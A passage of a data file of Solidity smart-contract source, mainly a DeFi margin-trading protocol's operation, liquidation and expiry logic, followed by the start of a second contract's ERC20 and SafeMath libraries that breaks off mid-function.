args.accountTwo.number,
args.market,
getBalanceUpdate(
state,
args.accountOne,
args.market,
deltaWei
),
getBalanceUpdate(
state,
args.accountTwo,
args.market,
deltaWei.negative()
)
);
}
function logBuy(
Storage.State storage state,
Actions.BuyArgs memory args,
Types.Wei memory takerWei,
Types.Wei memory makerWei
)
internal
{
emit LogBuy(
args.account.owner,
args.account.number,
args.takerMarket,
args.makerMarket,
getBalanceUpdate(
state,
args.account,
args.takerMarket,
takerWei
),
getBalanceUpdate(
state,
args.account,
args.makerMarket,
makerWei
),
args.exchangeWrapper
);
}
function logSell(
Storage.State storage state,
Actions.SellArgs memory args,
Types.Wei memory takerWei,
Types.Wei memory makerWei
)
internal
{
emit LogSell(
args.account.owner,
args.account.number,
args.takerMarket,
args.makerMarket,
getBalanceUpdate(
state,
args.account,
args.takerMarket,
takerWei
),
getBalanceUpdate(
state,
args.account,
args.makerMarket,
makerWei
),
args.exchangeWrapper
);
}
function logTrade(
Storage.State storage state,
Actions.TradeArgs memory args,
Types.Wei memory inputWei,
Types.Wei memory outputWei
)
internal
{
BalanceUpdate[4] memory updates = [
getBalanceUpdate(
state,
args.takerAccount,
args.inputMarket,
inputWei.negative()
),
getBalanceUpdate(
state,
args.takerAccount,
args.outputMarket,
outputWei.negative()
),
getBalanceUpdate(
state,
args.makerAccount,
args.inputMarket,
inputWei
),
getBalanceUpdate(
state,
args.makerAccount,
args.outputMarket,
outputWei
)
];
emit LogTrade(
args.takerAccount.owner,
args.takerAccount.number,
args.makerAccount.owner,
args.makerAccount.number,
args.inputMarket,
args.outputMarket,
updates[0],
updates[1],
updates[2],
updates[3],
args.autoTrader
);
}
function logCall(
Actions.CallArgs memory args
)
internal
{
emit LogCall(
args.account.owner,
args.account.number,
args.callee
);
}
function logLiquidate(
Storage.State storage state,
Actions.LiquidateArgs memory args,
Types.Wei memory heldWei,
Types.Wei memory owedWei
)
internal
{
BalanceUpdate memory solidHeldUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
BalanceUpdate memory solidOwedUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
BalanceUpdate memory liquidHeldUpdate = getBalanceUpdate(
state,
args.liquidAccount,
args.heldMarket,
heldWei
);
BalanceUpdate memory liquidOwedUpdate = getBalanceUpdate(
state,
args.liquidAccount,
args.owedMarket,
owedWei
);
emit LogLiquidate(
args.solidAccount.owner,
args.solidAccount.number,
args.liquidAccount.owner,
args.liquidAccount.number,
args.heldMarket,
args.owedMarket,
solidHeldUpdate,
solidOwedUpdate,
liquidHeldUpdate,
liquidOwedUpdate
);
}
function logVaporize(
Storage.State storage state,
Actions.VaporizeArgs memory args,
Types.Wei memory heldWei,
Types.Wei memory owedWei,
Types.Wei memory excessWei
)
internal
{
BalanceUpdate memory solidHeldUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
BalanceUpdate memory solidOwedUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
BalanceUpdate memory vaporOwedUpdate = getBalanceUpdate(
state,
args.vaporAccount,
args.owedMarket,
owedWei.add(excessWei)
);
emit LogVaporize(
args.solidAccount.owner,
args.solidAccount.number,
args.vaporAccount.owner,
args.vaporAccount.number,
args.heldMarket,
args.owedMarket,
solidHeldUpdate,
solidOwedUpdate,
vaporOwedUpdate
);
}
function getBalanceUpdate(
Storage.State storage state,
Account.Info memory account,
uint256 market,
Types.Wei memory deltaWei
)
private
view
returns (BalanceUpdate memory)
{
return BalanceUpdate({
deltaWei: deltaWei,
newPar: state.getPar(account, market)
});
}
}
interface IExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes calldata orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes calldata orderData
)
external
view
returns (uint256);
}
library Exchange {
using Types for Types.Wei;
bytes32 constant FILE = "Exchange";
function transferOut(
address token,
address to,
Types.Wei memory deltaWei
)
internal
{
Require.that(
!deltaWei.isPositive(),
FILE,
"Cannot transferOut positive",
deltaWei.value
);
Token.transfer(
token,
to,
deltaWei.value
);
}
function transferIn(
address token,
address from,
Types.Wei memory deltaWei
)
internal
{
Require.that(
!deltaWei.isNegative(),
FILE,
"Cannot transferIn negative",
deltaWei.value
);
Token.transferFrom(
token,
from,
address(this),
deltaWei.value
);
}
function getCost(
address exchangeWrapper,
address supplyToken,
address borrowToken,
Types.Wei memory desiredAmount,
bytes memory orderData
)
internal
view
returns (Types.Wei memory)
{
Require.that(
!desiredAmount.isNegative(),
FILE,
"Cannot getCost negative",
desiredAmount.value
);
Types.Wei memory result;
result.sign = false;
result.value = IExchangeWrapper(exchangeWrapper).getExchangeCost(
supplyToken,
borrowToken,
desiredAmount.value,
orderData
);
return result;
}
function exchange(
address exchangeWrapper,
address accountOwner,
address supplyToken,
address borrowToken,
Types.Wei memory requestedFillAmount,
bytes memory orderData
)
internal
returns (Types.Wei memory)
{
Require.that(
!requestedFillAmount.isPositive(),
FILE,
"Cannot exchange positive",
requestedFillAmount.value
);
transferOut(borrowToken, exchangeWrapper, requestedFillAmount);
Types.Wei memory result;
result.sign = true;
result.value = IExchangeWrapper(exchangeWrapper).exchange(
accountOwner,
address(this),
supplyToken,
borrowToken,
requestedFillAmount.value,
orderData
);
transferIn(supplyToken, exchangeWrapper, result);
return result;
}
}
library OperationImpl {
using Cache for Cache.MarketCache;
using SafeMath for uint256;
using Storage for Storage.State;
using Types for Types.Par;
using Types for Types.Wei;
bytes32 constant FILE = "OperationImpl";
function operate(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
public
{
Events.logOperation();
_verifyInputs(accounts, actions);
(
bool[] memory primaryAccounts,
Cache.MarketCache memory cache
) = _runPreprocessing(
state,
accounts,
actions
);
_runActions(
state,
accounts,
actions,
cache
);
_verifyFinalState(
state,
accounts,
primaryAccounts,
cache
);
}
function _verifyInputs(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
private
pure
{
Require.that(
actions.length != 0,
FILE,
"Cannot have zero actions"
);
Require.that(
accounts.length != 0,
FILE,
"Cannot have zero accounts"
);
for (uint256 a = 0; a < accounts.length; a++) {
for (uint256 b = a + 1; b < accounts.length; b++) {
Require.that(
!Account.equals(accounts[a], accounts[b]),
FILE,
"Cannot duplicate accounts",
a,
b
);
}
}
}
function _runPreprocessing(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
private
returns (
bool[] memory,
Cache.MarketCache memory
)
{
uint256 numMarkets = state.numMarkets;
bool[] memory primaryAccounts = new bool[](accounts.length);
Cache.MarketCache memory cache = Cache.create(numMarkets);
for (uint256 i = 0; i < actions.length; i++) {
Actions.ActionArgs memory arg = actions[i];
Actions.ActionType actionType = arg.actionType;
Actions.MarketLayout marketLayout = Actions.getMarketLayout(actionType);
Actions.AccountLayout accountLayout = Actions.getAccountLayout(actionType);
if (accountLayout != Actions.AccountLayout.OnePrimary) {
Require.that(
arg.accountId != arg.otherAccountId,
FILE,
"Duplicate accounts in action",
i
);
if (accountLayout == Actions.AccountLayout.TwoPrimary) {
primaryAccounts[arg.otherAccountId] = true;
} else {
assert(accountLayout == Actions.AccountLayout.PrimaryAndSecondary);
Require.that(
!primaryAccounts[arg.otherAccountId],
FILE,
"Requires non-primary account",
arg.otherAccountId
);
}
}
primaryAccounts[arg.accountId] = true;
if (marketLayout == Actions.MarketLayout.OneMarket) {
_updateMarket(state, cache, arg.primaryMarketId);
} else if (marketLayout == Actions.MarketLayout.TwoMarkets) {
Require.that(
arg.primaryMarketId != arg.secondaryMarketId,
FILE,
"Duplicate markets in action",
i
);
_updateMarket(state, cache, arg.primaryMarketId);
_updateMarket(state, cache, arg.secondaryMarketId);
} else {
assert(marketLayout == Actions.MarketLayout.ZeroMarkets);
}
}
for (uint256 m = 0; m < numMarkets; m++) {
if (cache.hasMarket(m)) {
continue;
}
for (uint256 a = 0; a < accounts.length; a++) {
if (!state.getPar(accounts[a], m).isZero()) {
_updateMarket(state, cache, m);
break;
}
}
}
return (primaryAccounts, cache);
}
function _updateMarket(
Storage.State storage state,
Cache.MarketCache memory cache,
uint256 marketId
)
private
{
bool updated = cache.addMarket(state, marketId);
if (updated) {
Events.logIndexUpdate(marketId, state.updateIndex(marketId));
}
}
function _runActions(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions,
Cache.MarketCache memory cache
)
private
{
for (uint256 i = 0; i < actions.length; i++) {
Actions.ActionArgs memory action = actions[i];
Actions.ActionType actionType = action.actionType;
if (actionType == Actions.ActionType.Deposit) {
_deposit(state, Actions.parseDepositArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Withdraw) {
_withdraw(state, Actions.parseWithdrawArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Transfer) {
_transfer(state, Actions.parseTransferArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Buy) {
_buy(state, Actions.parseBuyArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Sell) {
_sell(state, Actions.parseSellArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Trade) {
_trade(state, Actions.parseTradeArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Liquidate) {
_liquidate(state, Actions.parseLiquidateArgs(accounts, action), cache);
}
else if (actionType == Actions.ActionType.Vaporize) {
_vaporize(state, Actions.parseVaporizeArgs(accounts, action), cache);
}
else {
assert(actionType == Actions.ActionType.Call);
_call(state, Actions.parseCallArgs(accounts, action));
}
}
}
function _verifyFinalState(
Storage.State storage state,
Account.Info[] memory accounts,
bool[] memory primaryAccounts,
Cache.MarketCache memory cache
)
private
{
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (cache.getIsClosing(m)) {
Require.that(
state.getTotalPar(m).borrow <= cache.getBorrowPar(m),
FILE,
"Market is closing",
m
);
}
}
for (uint256 a = 0; a < accounts.length; a++) {
Account.Info memory account = accounts[a];
bool collateralized = state.isCollateralized(account, cache, true);
if (!primaryAccounts[a]) {
continue;
}
Require.that(
collateralized,
FILE,
"Undercollateralized account",
account.owner,
account.number
);
if (state.getStatus(account) != Account.Status.Normal) {
state.setStatus(account, Account.Status.Normal);
}
}
}
function _deposit(
Storage.State storage state,
Actions.DepositArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
Require.that(
args.from == msg.sender || args.from == args.account.owner,
FILE,
"Invalid deposit source",
args.from
);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.account,
args.market,
args.amount
);
state.setPar(
args.account,
args.market,
newPar
);
Exchange.transferIn(
state.getToken(args.market),
args.from,
deltaWei
);
Events.logDeposit(
state,
args,
deltaWei
);
}
function _withdraw(
Storage.State storage state,
Actions.WithdrawArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.account,
args.market,
args.amount
);
state.setPar(
args.account,
args.market,
newPar
);
Exchange.transferOut(
state.getToken(args.market),
args.to,
deltaWei
);
Events.logWithdraw(
state,
args,
deltaWei
);
}
function _transfer(
Storage.State storage state,
Actions.TransferArgs memory args
)
private
{
state.requireIsOperator(args.accountOne, msg.sender);
state.requireIsOperator(args.accountTwo, msg.sender);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.accountOne,
args.market,
args.amount
);
state.setPar(
args.accountOne,
args.market,
newPar
);
state.setParFromDeltaWei(
args.accountTwo,
args.market,
deltaWei.negative()
);
Events.logTransfer(
state,
args,
deltaWei
);
}
function _buy(
Storage.State storage state,
Actions.BuyArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
address takerToken = state.getToken(args.takerMarket);
address makerToken = state.getToken(args.makerMarket);
(
Types.Par memory makerPar,
Types.Wei memory makerWei
) = state.getNewParAndDeltaWei(
args.account,
args.makerMarket,
args.amount
);
Types.Wei memory takerWei = Exchange.getCost(
args.exchangeWrapper,
makerToken,
takerToken,
makerWei,
args.orderData
);
Types.Wei memory tokensReceived = Exchange.exchange(
args.exchangeWrapper,
args.account.owner,
makerToken,
takerToken,
takerWei,
args.orderData
);
Require.that(
tokensReceived.value >= makerWei.value,
FILE,
"Buy amount less than promised",
tokensReceived.value,
makerWei.value
);
state.setPar(
args.account,
args.makerMarket,
makerPar
);
state.setParFromDeltaWei(
args.account,
args.takerMarket,
takerWei
);
Events.logBuy(
state,
args,
takerWei,
makerWei
);
}
function _sell(
Storage.State storage state,
Actions.SellArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
address takerToken = state.getToken(args.takerMarket);
address makerToken = state.getToken(args.makerMarket);
(
Types.Par memory takerPar,
Types.Wei memory takerWei
) = state.getNewParAndDeltaWei(
args.account,
args.takerMarket,
args.amount
);
Types.Wei memory makerWei = Exchange.exchange(
args.exchangeWrapper,
args.account.owner,
makerToken,
takerToken,
takerWei,
args.orderData
);
state.setPar(
args.account,
args.takerMarket,
takerPar
);
state.setParFromDeltaWei(
args.account,
args.makerMarket,
makerWei
);
Events.logSell(
state,
args,
takerWei,
makerWei
);
}
function _trade(
Storage.State storage state,
Actions.TradeArgs memory args
)
private
{
state.requireIsOperator(args.takerAccount, msg.sender);
state.requireIsOperator(args.makerAccount, args.autoTrader);
Types.Par memory oldInputPar = state.getPar(
args.makerAccount,
args.inputMarket
);
(
Types.Par memory newInputPar,
Types.Wei memory inputWei
) = state.getNewParAndDeltaWei(
args.makerAccount,
args.inputMarket,
args.amount
);
Types.AssetAmount memory outputAmount = IAutoTrader(args.autoTrader).getTradeCost(
args.inputMarket,
args.outputMarket,
args.makerAccount,
args.takerAccount,
oldInputPar,
newInputPar,
inputWei,
args.tradeData
);
(
Types.Par memory newOutputPar,
Types.Wei memory outputWei
) = state.getNewParAndDeltaWei(
args.makerAccount,
args.outputMarket,
outputAmount
);
Require.that(
outputWei.isZero() || inputWei.isZero() || outputWei.sign != inputWei.sign,
FILE,
"Trades cannot be one-sided"
);
state.setPar(
args.makerAccount,
args.inputMarket,
newInputPar
);
state.setPar(
args.makerAccount,
args.outputMarket,
newOutputPar
);
state.setParFromDeltaWei(
args.takerAccount,
args.inputMarket,
inputWei.negative()
);
state.setParFromDeltaWei(
args.takerAccount,
args.outputMarket,
outputWei.negative()
);
Events.logTrade(
state,
args,
inputWei,
outputWei
);
}
function _liquidate(
Storage.State storage state,
Actions.LiquidateArgs memory args,
Cache.MarketCache memory cache
)
private
{
state.requireIsOperator(args.solidAccount, msg.sender);
if (Account.Status.Liquid != state.getStatus(args.liquidAccount)) {
Require.that(
!state.isCollateralized(args.liquidAccount, cache, false),
FILE,
"Unliquidatable account",
args.liquidAccount.owner,
args.liquidAccount.number
);
state.setStatus(args.liquidAccount, Account.Status.Liquid);
}
Types.Wei memory maxHeldWei = state.getWei(
args.liquidAccount,
args.heldMarket
);
Require.that(
!maxHeldWei.isNegative(),
FILE,
"Collateral cannot be negative",
args.liquidAccount.owner,
args.liquidAccount.number,
args.heldMarket
);
(
Types.Par memory owedPar,
Types.Wei memory owedWei
) = state.getNewParAndDeltaWeiForLiquidation(
args.liquidAccount,
args.owedMarket,
args.amount
);
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = _getLiquidationPrices(
state,
cache,
args.heldMarket,
args.owedMarket
);
Types.Wei memory heldWei = _owedWeiToHeldWei(owedWei, heldPrice, owedPrice);
if (heldWei.value > maxHeldWei.value) {
heldWei = maxHeldWei.negative();
owedWei = _heldWeiToOwedWei(heldWei, heldPrice, owedPrice);
state.setPar(
args.liquidAccount,
args.heldMarket,
Types.zeroPar()
);
state.setParFromDeltaWei(
args.liquidAccount,
args.owedMarket,
owedWei
);
} else {
state.setPar(
args.liquidAccount,
args.owedMarket,
owedPar
);
state.setParFromDeltaWei(
args.liquidAccount,
args.heldMarket,
heldWei
);
}
state.setParFromDeltaWei(
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
state.setParFromDeltaWei(
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
Events.logLiquidate(
state,
args,
heldWei,
owedWei
);
}
function _vaporize(
Storage.State storage state,
Actions.VaporizeArgs memory args,
Cache.MarketCache memory cache
)
private
{
state.requireIsOperator(args.solidAccount, msg.sender);
if (Account.Status.Vapor != state.getStatus(args.vaporAccount)) {
Require.that(
state.isVaporizable(args.vaporAccount, cache),
FILE,
"Unvaporizable account",
args.vaporAccount.owner,
args.vaporAccount.number
);
state.setStatus(args.vaporAccount, Account.Status.Vapor);
}
(
bool fullyRepaid,
Types.Wei memory excessWei
) = _vaporizeUsingExcess(state, args);
if (fullyRepaid) {
Events.logVaporize(
state,
args,
Types.zeroWei(),
Types.zeroWei(),
excessWei
);
return;
}
Types.Wei memory maxHeldWei = state.getNumExcessTokens(args.heldMarket);
Require.that(
!maxHeldWei.isNegative(),
FILE,
"Excess cannot be negative",
args.heldMarket
);
(
Types.Par memory owedPar,
Types.Wei memory owedWei
) = state.getNewParAndDeltaWeiForLiquidation(
args.vaporAccount,
args.owedMarket,
args.amount
);
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = _getLiquidationPrices(
state,
cache,
args.heldMarket,
args.owedMarket
);
Types.Wei memory heldWei = _owedWeiToHeldWei(owedWei, heldPrice, owedPrice);
if (heldWei.value > maxHeldWei.value) {
heldWei = maxHeldWei.negative();
owedWei = _heldWeiToOwedWei(heldWei, heldPrice, owedPrice);
state.setParFromDeltaWei(
args.vaporAccount,
args.owedMarket,
owedWei
);
} else {
state.setPar(
args.vaporAccount,
args.owedMarket,
owedPar
);
}
state.setParFromDeltaWei(
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
state.setParFromDeltaWei(
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
Events.logVaporize(
state,
args,
heldWei,
owedWei,
excessWei
);
}
function _call(
Storage.State storage state,
Actions.CallArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
ICallee(args.callee).callFunction(
msg.sender,
args.account,
args.data
);
Events.logCall(args);
}
function _owedWeiToHeldWei(
Types.Wei memory owedWei,
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
)
private
pure
returns (Types.Wei memory)
{
return Types.Wei({
sign: false,
value: Math.getPartial(owedWei.value, owedPrice.value, heldPrice.value)
});
}
function _heldWeiToOwedWei(
Types.Wei memory heldWei,
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
)
private
pure
returns (Types.Wei memory)
{
return Types.Wei({
sign: true,
value: Math.getPartialRoundUp(heldWei.value, heldPrice.value, owedPrice.value)
});
}
function _vaporizeUsingExcess(
Storage.State storage state,
Actions.VaporizeArgs memory args
)
internal
returns (bool, Types.Wei memory)
{
Types.Wei memory excessWei = state.getNumExcessTokens(args.owedMarket);
if (!excessWei.isPositive()) {
return (false, Types.zeroWei());
}
Types.Wei memory maxRefundWei = state.getWei(args.vaporAccount, args.owedMarket);
maxRefundWei.sign = true;
if (excessWei.value >= maxRefundWei.value) {
state.setPar(
args.vaporAccount,
args.owedMarket,
Types.zeroPar()
);
return (true, maxRefundWei);
}
else {
state.setParFromDeltaWei(
args.vaporAccount,
args.owedMarket,
excessWei
);
return (false, excessWei);
}
}
function _getLiquidationPrices(
Storage.State storage state,
Cache.MarketCache memory cache,
uint256 heldMarketId,
uint256 owedMarketId
)
internal
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
uint256 originalPrice = cache.getPrice(owedMarketId).value;
Decimal.D256 memory spread = state.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
Monetary.Price memory owedPrice = Monetary.Price({
value: originalPrice.add(Decimal.mul(originalPrice, spread))
});
return (cache.getPrice(heldMarketId), owedPrice);
}
}
contract Operation is
State,
ReentrancyGuard
{
function operate(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
public
nonReentrant
{
OperationImpl.operate(
g_state,
accounts,
actions
);
}
}
contract Permission is
State
{
event LogOperatorSet(
address indexed owner,
address operator,
bool trusted
);
struct OperatorArg {
address operator;
bool trusted;
}
function setOperators(
OperatorArg[] memory args
)
public
{
for (uint256 i = 0; i < args.length; i++) {
address operator = args[i].operator;
bool trusted = args[i].trusted;
g_state.operators[msg.sender][operator] = trusted;
emit LogOperatorSet(msg.sender, operator, trusted);
}
}
}
contract SoloMargin is
State,
Admin,
Getters,
Operation,
Permission
{
constructor(
Storage.RiskParams memory riskParams,
Storage.RiskLimits memory riskLimits
)
public
{
g_state.riskParams = riskParams;
g_state.riskLimits = riskLimits;
}
}
contract OnlySolo {
bytes32 constant FILE = "OnlySolo";
SoloMargin public SOLO_MARGIN;
constructor (
address soloMargin
)
public
{
SOLO_MARGIN = SoloMargin(soloMargin);
}
modifier onlySolo(address from) {
Require.that(
from == address(SOLO_MARGIN),
FILE,
"Only Solo can call function",
from
);
_;
}
}
contract Expiry is
Ownable,
OnlySolo,
ICallee,
IAutoTrader
{
using SafeMath for uint32;
using SafeMath for uint256;
using Types for Types.Par;
using Types for Types.Wei;
bytes32 constant FILE = "Expiry";
event ExpirySet(
address owner,
uint256 number,
uint256 marketId,
uint32 time
);
event LogExpiryRampTimeSet(
uint256 expiryRampTime
);
mapping (address => mapping (uint256 => mapping (uint256 => uint32))) g_expiries;
uint256 public g_expiryRampTime;
constructor (
address soloMargin,
uint256 expiryRampTime
)
public
OnlySolo(soloMargin)
{
g_expiryRampTime = expiryRampTime;
}
function ownerSetExpiryRampTime(
uint256 newExpiryRampTime
)
external
onlyOwner
{
emit LogExpiryRampTimeSet(newExpiryRampTime);
g_expiryRampTime = newExpiryRampTime;
}
function getExpiry(
Account.Info memory account,
uint256 marketId
)
public
view
returns (uint32)
{
return g_expiries[account.owner][account.number][marketId];
}
function getSpreadAdjustedPrices(
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
public
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
Decimal.D256 memory spread = SOLO_MARGIN.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
uint256 expiryAge = Time.currentTime().sub(expiry);
if (expiryAge < g_expiryRampTime) {
spread.value = Math.getPartial(spread.value, expiryAge, g_expiryRampTime);
}
Monetary.Price memory heldPrice = SOLO_MARGIN.getMarketPrice(heldMarketId);
Monetary.Price memory owedPrice = SOLO_MARGIN.getMarketPrice(owedMarketId);
owedPrice.value = owedPrice.value.add(Decimal.mul(owedPrice.value, spread));
return (heldPrice, owedPrice);
}
function callFunction(
address ,
Account.Info memory account,
bytes memory data
)
public
onlySolo(msg.sender)
{
(
uint256 marketId,
uint32 expiryTime
) = parseCallArgs(data);
if (expiryTime != 0 && !SOLO_MARGIN.getAccountPar(account, marketId).isNegative()) {
return;
}
setExpiry(account, marketId, expiryTime);
}
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory ,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(
uint256 owedMarketId,
uint32 maxExpiry
) = parseTradeArgs(data);
uint32 expiry = getExpiry(makerAccount, owedMarketId);
Require.that(
expiry != 0,
FILE,
"Expiry not set",
makerAccount.owner,
makerAccount.number,
owedMarketId
);
Require.that(
expiry <= Time.currentTime(),
FILE,
"Borrow not yet expired",
expiry
);
Require.that(
expiry <= maxExpiry,
FILE,
"Expiry past maxExpiry",
expiry
);
return getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId,
expiry
);
}
function getTradeCostInternal(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
uint256 owedMarketId,
uint32 expiry
)
private
returns (Types.AssetAmount memory)
{
Types.AssetAmount memory output;
Types.Wei memory maxOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId);
if (inputWei.isPositive()) {
Require.that(
inputMarketId == owedMarketId,
FILE,
"inputMarket mismatch",
inputMarketId
);
Require.that(
!newInputPar.isPositive(),
FILE,
"Borrows cannot be overpaid",
newInputPar.value
);
assert(oldInputPar.isNegative());
Require.that(
maxOutputWei.isPositive(),
FILE,
"Collateral must be positive",
outputMarketId,
maxOutputWei.value
);
output = owedWeiToHeldWei(
inputWei,
outputMarketId,
inputMarketId,
expiry
);
if (newInputPar.isZero()) {
setExpiry(makerAccount, owedMarketId, 0);
}
} else {
Require.that(
outputMarketId == owedMarketId,
FILE,
"outputMarket mismatch",
outputMarketId
);
Require.that(
!newInputPar.isNegative(),
FILE,
"Collateral cannot be overused",
newInputPar.value
);
assert(oldInputPar.isPositive());
Require.that(
maxOutputWei.isNegative(),
FILE,
"Borrows must be negative",
outputMarketId,
maxOutputWei.value
);
output = heldWeiToOwedWei(
inputWei,
inputMarketId,
outputMarketId,
expiry
);
if (output.value == maxOutputWei.value) {
setExpiry(makerAccount, owedMarketId, 0);
}
}
Require.that(
output.value <= maxOutputWei.value,
FILE,
"outputMarket too small",
output.value,
maxOutputWei.value
);
assert(output.sign != maxOutputWei.sign);
return output;
}
function setExpiry(
Account.Info memory account,
uint256 marketId,
uint32 time
)
private
{
g_expiries[account.owner][account.number][marketId] = time;
emit ExpirySet(
account.owner,
account.number,
marketId,
time
);
}
function heldWeiToOwedWei(
Types.Wei memory heldWei,
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
expiry
);
uint256 owedAmount = Math.getPartialRoundUp(
heldWei.value,
heldPrice.value,
owedPrice.value
);
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: owedAmount
});
}
function owedWeiToHeldWei(
Types.Wei memory owedWei,
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
expiry
);
uint256 heldAmount = Math.getPartial(
owedWei.value,
owedPrice.value,
heldPrice.value
);
return Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: heldAmount
});
}
function parseCallArgs(
bytes memory data
)
private
pure
returns (
uint256,
uint32
)
{
Require.that(
data.length == 64,
FILE,
"Call data invalid length",
data.length
);
uint256 marketId;
uint256 rawExpiry;
assembly {
marketId := mload(add(data, 32))
rawExpiry := mload(add(data, 64))
}
return (
marketId,
Math.to32(rawExpiry)
);
}
function parseTradeArgs(
bytes memory data
)
private
pure
returns (
uint256,
uint32
)
{
Require.that(
data.length == 64,
FILE,
"Trade data invalid length",
data.length
);
uint256 owedMarketId;
uint256 rawExpiry;
assembly {
owedMarketId := mload(add(data, 32))
rawExpiry := mload(add(data, 64))
}
return (
owedMarketId,
Math.to32(rawExpiry)
);
}
} | 0 | 704 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
